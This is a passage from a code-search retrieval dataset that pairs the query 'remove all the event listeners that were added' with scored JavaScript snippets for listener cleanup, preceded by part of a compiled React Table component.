__WEBPACK_IMPORTED_MODULE_11__TableHeader__[\"a\" /* default */],\n null,\n __WEBPACK_IMPORTED_MODULE_13__TableRow__[\"a\" /* default */].create(headerRow, { defaultProps: { cellAs: 'th' } })\n ),\n __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n __WEBPACK_IMPORTED_MODULE_8__TableBody__[\"a\" /* default */],\n null,\n renderBodyRow && __WEBPACK_IMPORTED_MODULE_2_lodash_map___default()(tableData, function (data, index) {\n return __WEBPACK_IMPORTED_MODULE_13__TableRow__[\"a\" /* default */].create(renderBodyRow(data, index));\n })\n ),\n footerRow && __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n __WEBPACK_IMPORTED_MODULE_10__TableFooter__[\"a\" /* default */],\n null,\n __WEBPACK_IMPORTED_MODULE_13__TableRow__[\"a\" /* default */].create(footerRow)\n )\n );\n}", "title": "" }, { "docid": "66f925881bb4cc9e15d1235db13cf40a", "score": "0.5300503", "text": "function Table(props) {\n var attached = props.attached,\n basic = props.basic,\n celled = props.celled,\n children = props.children,\n className = props.className,\n collapsing = props.collapsing,\n color = props.color,\n columns = props.columns,\n compact = props.compact,\n definition = props.definition,\n fixed = props.fixed,\n footerRow = props.footerRow,\n headerRow = props.headerRow,\n inverted = props.inverted,\n padded = props.padded,\n renderBodyRow = props.renderBodyRow,\n selectable = props.selectable,\n singleLine = props.singleLine,\n size = props.size,\n sortable = props.sortable,\n stackable = props.stackable,\n striped = props.striped,\n structured = props.structured,\n tableData = props.tableData,\n textAlign = props.textAlign,\n unstackable = props.unstackable,\n verticalAlign = props.verticalAlign;\n\n\n var classes = __WEBPACK_IMPORTED_MODULE_4_classnames___default()('ui', color, size, __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(celled, 'celled'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(collapsing, 'collapsing'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(definition, 'definition'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(fixed, 'fixed'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(inverted, 'inverted'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(selectable, 'selectable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(singleLine, 'single line'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(sortable, 'sortable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(stackable, 'stackable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(striped, 'striped'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(structured, 'structured'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(unstackable, 'unstackable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(attached, 'attached'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(basic, 'basic'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(compact, 'compact'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(padded, 'padded'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"x\" /* useTextAlignProp */])(textAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"k\" /* useVerticalAlignProp */])(verticalAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"f\" /* useWidthProp */])(columns, 'column'), 'table', className);\n var rest = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"b\" /* getUnhandledProps */])(Table, props);\n var ElementType = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"c\" /* getElementType */])(Table, props);\n\n if (!__WEBPACK_IMPORTED_MODULE_3_lodash_isNil___default()(children)) {\n return __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n children\n );\n }\n\n return __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n headerRow && __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n __WEBPACK_IMPORTED_MODULE_11__TableHeader__[\"a\" /* default */],\n null,\n __WEBPACK_IMPORTED_MODULE_13__TableRow__[\"a\" /* default */].create(headerRow, { defaultProps: { cellAs: 'th' } })\n ),\n __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n __WEBPACK_IMPORTED_MODULE_8__TableBody__[\"a\" /* default */],\n null,\n renderBodyRow && __WEBPACK_IMPORTED_MODULE_2_lodash_map___default()(tableData, function (data, index) {\n return __WEBPACK_IMPORTED_MODULE_13__TableRow__[\"a\" /* default */].create(renderBodyRow(data, index));\n })\n ),\n footerRow && __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n __WEBPACK_IMPORTED_MODULE_10__TableFooter__[\"a\" /* default */],\n null,\n __WEBPACK_IMPORTED_MODULE_13__TableRow__[\"a\" /* default */].create(footerRow)\n )\n );\n}", "title": "" } ]
58f2232017b97421e558272085659a18
remove all the event listeners that were added.
[ { "docid": "96e7fbe8c3dfc9893ef75fa2781c2335", "score": "0.0", "text": "function cleanup() {\n source.removeListener('data', ondata);\n dest.removeListener('drain', ondrain);\n\n source.removeListener('end', onend);\n source.removeListener('close', onclose);\n\n source.removeListener('error', onerror);\n dest.removeListener('error', onerror);\n\n source.removeListener('end', cleanup);\n source.removeListener('close', cleanup);\n\n dest.removeListener('close', cleanup);\n }", "title": "" } ]
[ { "docid": "7ef82e43a35638785498fd33834eaae7", "score": "0.85066736", "text": "removeAllEventListeners() {\n const events = Array.from(this.m_listeners.keys());\n for (const event of events) {\n this.removeEventListener(event);\n }\n }", "title": "" }, { "docid": "4dec6b4a707e0593599b874e195292d4", "score": "0.8314892", "text": "clearListeners() {\n\t\tvar listeners = this.listeners, i = listeners.length;\n\n\t\twhile (i--) {\n\t\t\tthis.removeListener(listeners[i].fn, listeners[i].scope);\n\t\t}\n\t}", "title": "" }, { "docid": "cfb62b788da4d5b58614062dbfab14c0", "score": "0.829071", "text": "removeAllEventListeners() {\n\t\tObject.keys(this.evtCallbacks).forEach((evtName) => {\n\t\t\tconst events = this.evtCallbacks[evtName];\n\t\t\tevents.forEach(({ element, callback }) => {\n\t\t\t\telement.removeEventListener(evtName, callback);\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "cfb62b788da4d5b58614062dbfab14c0", "score": "0.829071", "text": "removeAllEventListeners() {\n\t\tObject.keys(this.evtCallbacks).forEach((evtName) => {\n\t\t\tconst events = this.evtCallbacks[evtName];\n\t\t\tevents.forEach(({ element, callback }) => {\n\t\t\t\telement.removeEventListener(evtName, callback);\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "1ecc11dd052bc4cab502685223efe292", "score": "0.8281636", "text": "detachAllListeners() {\n\t\tfor (var selector in this.eventHandles_) {\n\t\t\tif (this.eventHandles_[selector]) {\n\t\t\t\tthis.eventHandles_[selector].removeAllListeners();\n\t\t\t}\n\t\t}\n\t\tthis.eventHandles_ = {};\n\t\tthis.listenerCounts_ = {};\n\t}", "title": "" }, { "docid": "1122c8261d28b6954f6966a967f1eeea", "score": "0.82580775", "text": "clearAllEventListeners(){\n Object.keys(this.eventListeners).forEach((eventName) => {\n this.eventListeners[eventName].clear();\n delete this.eventListeners;\n });\n }", "title": "" }, { "docid": "970ccadf8958635555e387a6c52dbbf6", "score": "0.8160223", "text": "deregisterListeners() {\n this.eventManager.clearEvents(true);\n }", "title": "" }, { "docid": "6d1826e6cf7ac0b3d1573b18e9d6cd10", "score": "0.8021269", "text": "_removeListeners() {\r\n // Do nothing if listeners were already removed.\r\n if (!this._isListening) {\r\n return;\r\n }\r\n\r\n window.removeEventListener('resize', this.startUpdateCycle, true);\r\n window.removeEventListener('scroll', this.scheduleUpdate, true);\r\n\r\n this._removeHoverListener();\r\n\r\n if (!mutationsSupported) {\r\n this._repeatCycle = false;\r\n\r\n window.removeEventListener('click', this.startUpdateCycle, true);\r\n } else if (this._mutationsObserver) {\r\n this._mutationsObserver.disconnect();\r\n this._mutationsObserver = null;\r\n }\r\n\r\n this._isListening = false;\r\n }", "title": "" }, { "docid": "3f6db75d6931068eee0aea8021c4c508", "score": "0.7999596", "text": "removeAllEventListeners()\n {\n this.listeners = [];\n }", "title": "" }, { "docid": "1fba14e953b14b945b0a8488d9c264c9", "score": "0.79832214", "text": "removeAllListeners() {\r\n this.listeners = [];\r\n }", "title": "" }, { "docid": "08ae39d0cedc3a2898f13ee1cf579d80", "score": "0.7980807", "text": "clearAll() {\n\n for (const listenerList of this.onListeners.values()) {\n listenerList.clearAll();\n }\n this.onListeners.clear();\n\n\n for (const listenerMap of this.onlyListeners.values()) {\n listenerMap.clearAll();\n }\n this.onlyListeners.clear();\n\n\n this.childEventEmitters = [];\n\n this.onAnyListener=null;\n }", "title": "" }, { "docid": "c3058af30c6fc22d70c834c42ecb0def", "score": "0.79209554", "text": "detachUnusedListeners() {\n\t\tfor (var selector in this.eventHandles_) {\n\t\t\tif (this.eventHandles_[selector] && !this.hasListener_[selector]) {\n\t\t\t\tthis.eventHandles_[selector].removeAllListeners();\n\t\t\t\tthis.eventHandles_[selector] = null;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "eb7d4f4b672356f42b4acb03a4810d80", "score": "0.78825796", "text": "function cleaner() {\n\t\tif (this.removeEventListener) {\n\t\t\tfor(var n in mListeners) {\n\t\t\t\tthis.removeEventListener(n, mListeners[n], bBubble);\n\t\t\t\tdelete mListeners[n];\n\t\t\t}\n\t\t} else {\n\t\t\tfor(var n in mListeners) {\n\t\t\t\tthis.detachEvent('on'+ n, mListeners[n]);\n\t\t\t\tdelete mListeners[n];\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b958c60f32e2922bcc8e931a3af8869c", "score": "0.7869634", "text": "_clearGlobalListeners() {\n this._globalListeners.forEach((config, name) => {\n this._document.removeEventListener(name, config.handler, config.options);\n });\n this._globalListeners.clear();\n }", "title": "" }, { "docid": "b958c60f32e2922bcc8e931a3af8869c", "score": "0.7869634", "text": "_clearGlobalListeners() {\n this._globalListeners.forEach((config, name) => {\n this._document.removeEventListener(name, config.handler, config.options);\n });\n this._globalListeners.clear();\n }", "title": "" }, { "docid": "54439719152d68f7e646c7b9e231320d", "score": "0.78316706", "text": "_cleanupListeners() {\n window.removeEventListener(\"deactivate\", this);\n this.tabEvents.forEach((ev) => gBrowser.tabContainer.removeEventListener(ev, this));\n this.dragEvents.forEach((ev) => this.containerNode.removeEventListener(ev, this));\n this.paneEvents.forEach((ev) => this.pane.removeEventListener(ev, this));\n this.pane.removeEventListener(\"keydown\", this);\n this.pane.removeEventListener(\"blur\", this, true);\n gBrowser.removeEventListener(\"TabMultiSelect\", this, false);\n for (let stop of this.pane.getElementsByTagName(\"toolbartabstop\"))\n stop.removeEventListener(\"focus\", this);\n this.listenersRegistered = false;\n }", "title": "" }, { "docid": "df7e6d6c7bfc36572114ecc5a4374ca2", "score": "0.78147995", "text": "removeListeners() {\n\n const removeListeners = el => {\n\n if (this.el.listeners) {\n\n el.listeners.forEach(listener => {\n const { type, eventHandler, opts } = listener;\n el.removeEventListener(type, eventHandler, opts);\n });\n\n el.listeners.splice(0); // empty the array without redeclaring it\n\n }\n\n };\n\n removeListeners(this.el);\n\n for (const el in this.nodes) {\n removeListeners(this.nodes[el]);\n }\n\n this.emit('removeListeners');\n\n }", "title": "" }, { "docid": "55934fef325491dc8aa89cd36a7c4a5e", "score": "0.77810574", "text": "function remove_event_listeners() {\n canvas.removeEventListener('mousemove', on_mousemove, false);\n canvas.removeEventListener('mouseup', on_mouseup, false);\n canvas.removeEventListener('touchmove', on_mousemove, false);\n canvas.removeEventListener('touchend', on_mouseup, false);\n document.body.removeEventListener('mouseup', on_mouseup, false);\n document.body.removeEventListener('touchend', on_mouseup, false);\n }", "title": "" }, { "docid": "09b79a9b7c1ba1a39af661423af6cb8d", "score": "0.77795345", "text": "function removeListeners() {\r\n\t\t\tdocument.removeEventListener('mousemove', moveElement, false);\r\n\t\t\tdocument.removeEventListener('mouseup', removeListeners, false);\r\n\t\t\twindow.removeEventListener('selectstart', disableSelect);\r\n\t\t}", "title": "" }, { "docid": "91f61ebfea922e3b02104cdc77b0e857", "score": "0.7773475", "text": "removeButtonListeners() {\n this.removeAllListeners()\n }", "title": "" }, { "docid": "b948adfc4e0e1921ec168472433b18f4", "score": "0.77474576", "text": "_cleanupDOMEventListeners() {\n // _clean DOM event listener bindings\n for (const callback of this._domEventListenerCleanupQueue.splice(0)) {\n callback();\n }\n }", "title": "" }, { "docid": "723166acb2c83b4edbec02f3cdd3e120", "score": "0.7734471", "text": "function removeListeners() {\n [].map.call(signs, function(sign) {\n sign.removeEventListener('click', click);\n });\n\n [].map.call(items, function(item) {\n item.removeEventListener('mouseover', mouseover);\n item.removeEventListener('mouseout', mouseout);\n });\n\n document.querySelector('#open-close').removeEventListener('click', all);\n }", "title": "" }, { "docid": "1ed81b31d7755b63b570b41e4ed4c0eb", "score": "0.76855326", "text": "clear()\n {\n this.m_listeners.clear();\n }", "title": "" }, { "docid": "b7b299023d177f54f0b0077d8070c90d", "score": "0.7673836", "text": "removeListeners() {\n /* istanbul ignore next */\n if (this.options.enableTouch) {\n global.removeEventListener('touchmove', this.handleMove)\n global.removeEventListener('touchend', this.handleUp)\n this.slidesWrapper.removeEventListener('touchstart', this.handleDown)\n }\n /* istanbul ignore next */\n if (this.options.enableSwipe) {\n global.removeEventListener('mousemove', this.handleMove)\n global.removeEventListener('mouseup', this.handleUp)\n this.slidesWrapper.removeEventListener('mousedown', this.handleDown)\n }\n }", "title": "" }, { "docid": "151a9a396f3322560612a94991d57392", "score": "0.7671854", "text": "_removeEventListeners() {\n removeEventListener(\"mouseup\", this._onMouseUp);\n removeEventListener(\"mousemove\", this._onMouseMove);\n }", "title": "" }, { "docid": "79002bc5dd8f0978420682e323dcf8a1", "score": "0.76531416", "text": "removeListeners(ele) {\n for (event in ele.events) {\n ele.DOMelement.removeEventListener(event, ele.events[event]);\n }\n }", "title": "" }, { "docid": "a349f28cdb5ca159868806513cd6690b", "score": "0.7639012", "text": "cleanUpEvents() {\n for(let idx in this.eventsToClean) {\n this.eventsToClean[idx].removeCleanupListeners();\n }\n }", "title": "" }, { "docid": "ed0e2d50f46279ad7e64f2637f65b640", "score": "0.76254237", "text": "function removeListeners() {\n\t\t\t$element.unbind(START_EV, touchStart);\n\t\t\t$element.unbind(CANCEL_EV, touchCancel);\n\t\t\t$element.unbind(MOVE_EV, touchMove);\n\t\t\t$element.unbind(END_EV, touchEnd);\n\t\t}", "title": "" }, { "docid": "81cfdb9fbf29390276ccbf3ccdfac8b1", "score": "0.7597112", "text": "function removeListeners() {\n\t\t\t$element.unbind(START_EV, touchStart);\n\t\t\t$element.unbind(CANCEL_EV, touchCancel);\n\t\t\t$element.unbind(MOVE_EV, touchMove);\n\t\t\t$element.unbind(END_EV, touchEnd);\n\n\t\t\t//we only have leave events on desktop, we manually calculate leave on touch as its not supported in webkit\n\t\t\tif(LEAVE_EV) {\n\t\t\t\t$element.unbind(LEAVE_EV, touchLeave);\n\t\t\t}\n\n\t\t\tsetTouchInProgress(false);\n\t\t}", "title": "" }, { "docid": "8638892e9661bde1bc26074a3253d603", "score": "0.75809073", "text": "function removeListeners() {\n\t\t\t$element.unbind(START_EV, touchStart);\n\t\t\t$element.unbind(CANCEL_EV, touchCancel);\n\t\t\t$element.unbind(MOVE_EV, touchMove);\n\t\t\t$element.unbind(END_EV, touchEnd);\n\t\t\t\n\t\t\t//we only have leave events on desktop, we manually calcuate leave on touch as its not supported in webkit\n\t\t\tif(LEAVE_EV) { \n\t\t\t\t$element.unbind(LEAVE_EV, touchLeave);\n\t\t\t}\n\t\t\t\n\t\t\tsetTouchInProgress(false);\n\t\t}", "title": "" }, { "docid": "947838d412b1412001e68583d7b9c1c1", "score": "0.75770813", "text": "function clearListeners(event) {\n if (event) {\n delete listeners[event];\n } else {\n listeners = {};\n }\n }", "title": "" }, { "docid": "9d41fa6850102704c7ab71bb2f4b702d", "score": "0.7577075", "text": "function RmAllEvts(){\n\t\tfor(var prop in cache.nodes){\n\t\t\tfor(var ln = cache.nodes[prop].events.length - 1, i = ln; i >= 0; i--){\n\t\t\t\tcache.nodes[prop].removeEventListener(cache.nodes[prop].events[i], cache.nodes[prop].listener[i],true);\n\t\t\t}\n\t\t\t\n\t\t\t//Empties event and listener arrays.\n\t\t\tcache.nodes[prop].events = [];\n\t\t\tcache.nodes[prop].listener = [];\n\t\t}\n\t}", "title": "" }, { "docid": "18572e5fd8d991fe9014215601afdc48", "score": "0.7564958", "text": "function removeAddedEvents() {\n // remove added native events\n nativeEvents.forEach(function (_ref) {\n var key = _ref.key,\n listener = _ref.listener;\n element.removeEventListener(key, listener);\n });\n nativeEvents = [];\n }", "title": "" }, { "docid": "18572e5fd8d991fe9014215601afdc48", "score": "0.7564958", "text": "function removeAddedEvents() {\n // remove added native events\n nativeEvents.forEach(function (_ref) {\n var key = _ref.key,\n listener = _ref.listener;\n element.removeEventListener(key, listener);\n });\n nativeEvents = [];\n }", "title": "" }, { "docid": "7a63980501aa5643aa8d11ce9b33fc0d", "score": "0.7559851", "text": "removeEvents() { }", "title": "" }, { "docid": "f1a704c5083ee7e031415f5f78c093ea", "score": "0.7547071", "text": "function removeListeners() {\n\tdocument.removeEventListener(\"DOMContentLoaded\", domContentLoaded, false)\n\n\topera.removeEventListener(\"BeforeScript\", beforeExternalScript, false)\n\topera.removeEventListener(\"pluginInitialized\", pluginInitialized, false)\n\n\twindow.removeEventListener(\"blur\", windowBlurred, false)\n\twindow.removeEventListener(\"focus\", windowFocused, false)\n\twindow.removeEventListener(\"load\", loaded, false)\n\twindow.removeEventListener(\"message\", messageReceived, false)\n\twindow.removeEventListener(\"resize\", windowResized, false)\n\twindow.removeEventListener(\"lyrics\", showLyrics, false)\n}", "title": "" }, { "docid": "50dda9bb08fecb831c3268d54b1115a8", "score": "0.7519867", "text": "removeAllListeners (eventName) {\n // perform default behavior, preserve fn arity\n if (eventName) {\n super.removeAllListeners(eventName)\n } else {\n super.removeAllListeners()\n }\n // re-add internal events\n this._setupInternalEvents()\n // trigger stop check just in case\n this._onRemoveListener()\n }", "title": "" }, { "docid": "94636fa05ce6b3ee04d5d38469dd102a", "score": "0.75146514", "text": "function removeListeners() {\n $element.unbind(START_EV, touchStart);\n $element.unbind(CANCEL_EV, touchCancel);\n $element.unbind(MOVE_EV, touchMove);\n $element.unbind(END_EV, touchEnd);\n\n //we only have leave events on desktop, we manually calculate leave on touch as its not supported in webkit\n if (LEAVE_EV) {\n $element.unbind(LEAVE_EV, touchLeave);\n }\n\n setTouchInProgress(false);\n }", "title": "" }, { "docid": "f65baa6fa8646d92ab357bbfeb7e4601", "score": "0.75016695", "text": "function _clearListeners(arr) {\n if (arr == null || arr._parent == null) {\n return;\n }\n\n for (const key in arr._handlers) {\n arr._parent.removeListener(key, arr._handlers[key]);\n }\n}", "title": "" }, { "docid": "026d6d0ee2f03f2ea670117c6b3856bb", "score": "0.7500645", "text": "function removeListeners() {\n $element.unbind(START_EV, touchStart);\n $element.unbind(CANCEL_EV, touchCancel);\n $element.unbind(MOVE_EV, touchMove);\n $element.unbind(END_EV, touchEnd);\n\n //we only have leave events on desktop, we manually calculate leave on touch as its not supported in webkit\n if (LEAVE_EV) {\n $element.unbind(LEAVE_EV, touchLeave);\n }\n\n setTouchInProgress(false);\n }", "title": "" }, { "docid": "026d6d0ee2f03f2ea670117c6b3856bb", "score": "0.7500645", "text": "function removeListeners() {\n $element.unbind(START_EV, touchStart);\n $element.unbind(CANCEL_EV, touchCancel);\n $element.unbind(MOVE_EV, touchMove);\n $element.unbind(END_EV, touchEnd);\n\n //we only have leave events on desktop, we manually calculate leave on touch as its not supported in webkit\n if (LEAVE_EV) {\n $element.unbind(LEAVE_EV, touchLeave);\n }\n\n setTouchInProgress(false);\n }", "title": "" }, { "docid": "01be4dbd203e4893215bc8b7ab98b370", "score": "0.7491591", "text": "function removeListeners() {\n if (state.current.scrollContainers) {\n state.current.scrollContainers.forEach(element => element.removeEventListener('scroll', scrollChange, true));\n state.current.scrollContainers = null;\n }\n\n if (state.current.resizeObserver) {\n state.current.resizeObserver.disconnect();\n state.current.resizeObserver = null;\n }\n } // add scroll-listeners / observers", "title": "" }, { "docid": "01be4dbd203e4893215bc8b7ab98b370", "score": "0.7491591", "text": "function removeListeners() {\n if (state.current.scrollContainers) {\n state.current.scrollContainers.forEach(element => element.removeEventListener('scroll', scrollChange, true));\n state.current.scrollContainers = null;\n }\n\n if (state.current.resizeObserver) {\n state.current.resizeObserver.disconnect();\n state.current.resizeObserver = null;\n }\n } // add scroll-listeners / observers", "title": "" }, { "docid": "6267cf0dc930f262e2ef4037f28a901b", "score": "0.74856794", "text": "function removeListeners() {\r\n\t\t\t$element.unbind(START_EV, touchStart);\r\n\t\t\t$element.unbind(CANCEL_EV, touchCancel);\r\n\t\t\t$element.unbind(MOVE_EV, touchMove);\r\n\t\t\t$element.unbind(END_EV, touchEnd);\r\n\t\t\t\r\n\t\t\t//we only have leave events on desktop, we manually calculate leave on touch as its not supported in webkit\r\n\t\t\tif(LEAVE_EV) { \r\n\t\t\t\t$element.unbind(LEAVE_EV, touchLeave);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tsetTouchInProgress(false);\r\n\t\t}", "title": "" }, { "docid": "35ef7f4d4a7040c52a24c5ff9c43294b", "score": "0.74852055", "text": "function removeListeners() {\n $.each([1,2,3,4], function(index, element){\n $('#sqr' + element).off();\n });\n }", "title": "" }, { "docid": "e21613f6b8957b5e3d544107bb04176f", "score": "0.7468323", "text": "removeEvents() {\n window.removeEventListener('resize', this.resizeSlider);\n this.lineNode.removeEventListener('pointerdown', this.startDrag);\n window.removeEventListener('pointerup', this.stopDrag);\n window.removeEventListener('pointercancel', this.stopDrag);\n this.navLeft.removeEventListener('click', this.shiftLeft);\n this.navRight.removeEventListener('click', this.shiftRight);\n }", "title": "" }, { "docid": "e257d06063389bf938a48dcbfd1ff969", "score": "0.7448787", "text": "function removeAllListener() {\n\n window.removeEventListener('click',listenerMenuPrincipal,false);\n window.removeEventListener('click', listenerMenuPrincipal, false);\n window.removeEventListener('click', listenerMenuSetting, false);\n window.removeEventListener('click', listenerMenuSetting, false);\n window.removeEventListener('click', listenerMenuDifficulte, false);\n window.removeEventListener('click', listenerMenuDifficulte, false);\n window.removeEventListener('click', listenerMenuChoiceShip, false);\n window.removeEventListener('click', listenerMenuChoiceShip, false);\n \n}", "title": "" }, { "docid": "c6064cd68452fe2761682f0913226af8", "score": "0.74370843", "text": "function _removeListeners() {\n self.off(\".msgbox\");\n }", "title": "" }, { "docid": "e26fa727101bf56e0a720868b2cf456c", "score": "0.742995", "text": "clearListeners() {\n messageListeners.length = 0;\n }", "title": "" }, { "docid": "20f7cc3270fa413a9cad4d50e6344b34", "score": "0.7427653", "text": "function removeListeners() {\n $element.unbind(START_EV, touchStart);\n $element.unbind(CANCEL_EV, touchCancel);\n $element.unbind(MOVE_EV, touchMove);\n $element.unbind(END_EV, touchEnd);\n \n //we only have leave events on desktop, we manually calculate leave on touch as its not supported in webkit\n if (LEAVE_EV) {\n $element.unbind(LEAVE_EV, touchLeave);\n }\n \n setTouchInProgress(false);\n }", "title": "" }, { "docid": "df67d09f1dd65b5e70d7ec865d9b2350", "score": "0.73911524", "text": "unregisterAllChangeListeners() {\n for (const listener of this.changeListeners.keys()) {\n this.unregisterChangeListener(listener);\n }\n }", "title": "" }, { "docid": "6678f9e7695c1b6dff38824a9d5a87a3", "score": "0.73907363", "text": "function clearListeners(event) {\n\t\t\tif(event) {\n\t\t\t\tdelete listeners[event];\n\t\t\t} else {\n\t\t\t\tlisteners = {};\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "ebb17c3d554ee9a0a7b21503ab17e611", "score": "0.73796266", "text": "removeAllListeners() {\n this.tinyEmitter.removeAllListeners();\n }", "title": "" }, { "docid": "c05c8c7de78709d740c439712c793a27", "score": "0.73759574", "text": "static removeBodyListeners() {\n if (window.__bodyListenerAttached) {\n // remove all event listeners attached to body\n window.__bodyEventHandlers.forEach((handler) => {\n document.body.removeEventListener('click', handler);\n });\n\n // indicate that no listeners are attached and reset the array\n window.__bodyEventHandlers = [];\n window.__bodyListenerAttached = false;\n }\n }", "title": "" }, { "docid": "4c98dbbe97b97c42a8a4b6d81f8c30c0", "score": "0.73502815", "text": "_removeEventListeners() {\n this.host.removeEventListener('mousemove', this._onMove);\n this.host.removeEventListener('mouseleave', this._onEnd);\n this.host.removeEventListener('touchmove', this._onMove);\n this.host.removeEventListener('touchend', this._onEnd);\n this.host.removeEventListener('touchcancel', this._onEnd);\n }", "title": "" }, { "docid": "6638e811c1bb1aa17ec8d7ff7f9361df", "score": "0.734094", "text": "function removeMouseListeners() {\n var node = this.container, i, len;\n\n for (i = 0, len = mouseEvents.length; i < len; i++) {\n node.removeEventListener(mouseEvents[i], this.mouseHandler, false);\n }\n\n this.mouseHandler = null;\n }", "title": "" }, { "docid": "56c31a1dc067546dbb61ebd605be1004", "score": "0.7335488", "text": "function unlisten () {\n\t\tbuttonCountMesssages.removeventListener('click', countMessages);\n\t\tbuttonCountThreads.removeEventListener('click', countThreads);\n\t\tbuttonImport.removeEventListener('click', pickFile);\n\t\tbuttonExport.removeEventListener('click', exportMessages);\n\t}", "title": "" }, { "docid": "42a92cd43b3ab0d411ae553ac9f17126", "score": "0.7318073", "text": "removeAllListeners (eventName) {\n // perform default behavior, preserve fn arity\n if (eventName) {\n super.removeAllListeners(eventName);\n } else {\n super.removeAllListeners();\n }\n // re-add internal events\n this._setupInternalEvents();\n // trigger stop check just in case\n this._onRemoveListener();\n }", "title": "" }, { "docid": "42583cd2672418d46c9bc1d784fafdf4", "score": "0.73077476", "text": "function _releaseListens(){\n var attrs_setup_list = this.__listening__ || [];\n\n /* for all the recorded registrations-to-remove */\n for(var i = this.__listening__.length-1; i >= 0; i --){\n var obj = this.__listening__[i][0];\n var attr = this.__listening__[i][1];\n var method = this.__listening__[i][2];\n \n /* use that information to find the registration (going backwards) removing them. */\n var listened_list = obj.__listeners__[attr] || [];\n \n for(var j = listened_list.length-1; j >= 0; j --)\n if(listened_list[j][0] == method){\n obj.__listeners__[attr].remove(j);\n if(obj.__listeners__[attr].length == 0)\n delete obj.__listeners__[attr];\n break;\n } \n \n /* remove the entry as we empty it -- reset() requires this although remove() would have dumped this anyway. */\n this.__listening__.remove(i);\n }\n}", "title": "" }, { "docid": "ce1e90d0897fba4679f57b40bd1b527e", "score": "0.7286671", "text": "function removeKeyListeners() {\n var i, len;\n\n for (i = 0, len = keyEvents.length; i < len; i++) {\n document.removeEventListener(keyEvents[i], this.keyHandler, false);\n }\n\n this.keyHandler = null;\n }", "title": "" }, { "docid": "6676b034b72fb779176afef0c288fb2b", "score": "0.72783715", "text": "function removeEventListeners() {\n window.removeEventListener('resize', this.eventListener);\n this.scrollParents.forEach(parent => {\n parent.removeEventListener('scroll', this.eventListener);\n });\n}", "title": "" }, { "docid": "684e7144f10fb1e5bef64053cce70cd6", "score": "0.7266349", "text": "function removeSliderListeners() {\n slider.removeEventListener('touchstart', startMove);\n slider.removeEventListener('touchmove', continueMove);\n slider.removeEventListener('touchend', endMove);\n }", "title": "" }, { "docid": "910785eadf63efacd95f513f7556d3ba", "score": "0.72506386", "text": "function removeListeners() {\n for (var i = 0; i < player1Board.length-1; i++) {\n player1Board[i].removeEventListener('click', player1Click);\n player2Board[i].removeEventListener('click', player2Click);\n displayP1[i].removeEventListener('click', player2ClickDisplay);\n displayP2[i].removeEventListener('click', player2ClickDisplay);\n }\n}", "title": "" }, { "docid": "a4b0ad2a5f6ea6384e4a8f27c242acac", "score": "0.724111", "text": "removeAllListeners(){\n for( let i = this.listeners.length - 1; i >= 0; i-- ){\n let { event, handler } = this.listeners[i];\n\n this.target.removeListener(event, handler);\n this.listeners.splice(i, 1); // remove ith\n }\n\n return this;\n }", "title": "" }, { "docid": "e2a2e7704ee303486dc40976852258dc", "score": "0.72190565", "text": "function _disposeAddTagListeners() {\n\t\tKeyBindingManager.removeGlobalKeydownHook(_insertEmptyTagKeyboardListener);\n\t\t\n\t\tif (_hasLineBreakKeyboardListener === false) {\n\t\t\t_hasLineBreakKeyboardListener = true;\n\t\t\tKeyBindingManager.addGlobalKeydownHook(_lineBreakKeyboardListener);\n\t\t}\n\t\t\n\t\t_editor.off(\"cursorActivity\");\n\t\t_lng = 0;\n\t\t_currentDoc = null;\n\t\t_currentPos = null;\n\t\t_editor = null;\n\t}", "title": "" }, { "docid": "d0fd6be4ba5c7e11a36ab63093505c5e", "score": "0.721481", "text": "$onDestroy() {\n\t\t\t//iterate over event listeners and 